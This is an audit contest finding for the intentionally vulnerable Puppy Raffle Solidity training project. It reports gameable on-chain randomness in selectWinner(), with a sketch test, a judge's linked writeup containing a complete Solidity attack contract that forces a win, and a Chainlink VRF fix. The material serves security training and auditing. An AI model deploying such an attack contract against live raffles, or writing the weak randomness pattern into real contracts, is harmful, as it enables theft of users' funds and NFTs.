Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable randomness in selectWinner() lets attacker guarantee a win

tunan

Root cause

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

All three inputs are known to the caller when the transaction is built. No commit-reveal, no VRF, no future-block dependency.

Impact

An attacker contract computes the identical hash on-chain and only calls selectWinner() when the result maps to its own index — guaranteeing it wins the raffle and the prize NFT. The rarity (keccak256(abi.encodePacked(msg.sender, block.difficulty)) % 100) is equally predictable, so a legendary mint (rarity <= 10) can also be forced.

Risk

Likelihood: High — the computation is trivially reproducible by anyone, every draw.

Proof of Concept

function test_PredictableWinner() public {
// ... players entered ...
uint256 predicted = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % players.length;
raffle.selectWinner();
assertEq(predicted, <observed winner index>); // matches every run
}

Predicted index equals the on-chain winner index on every run.

Recommended Mitigation

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // use Chainlink VRF for winner selection and rarity
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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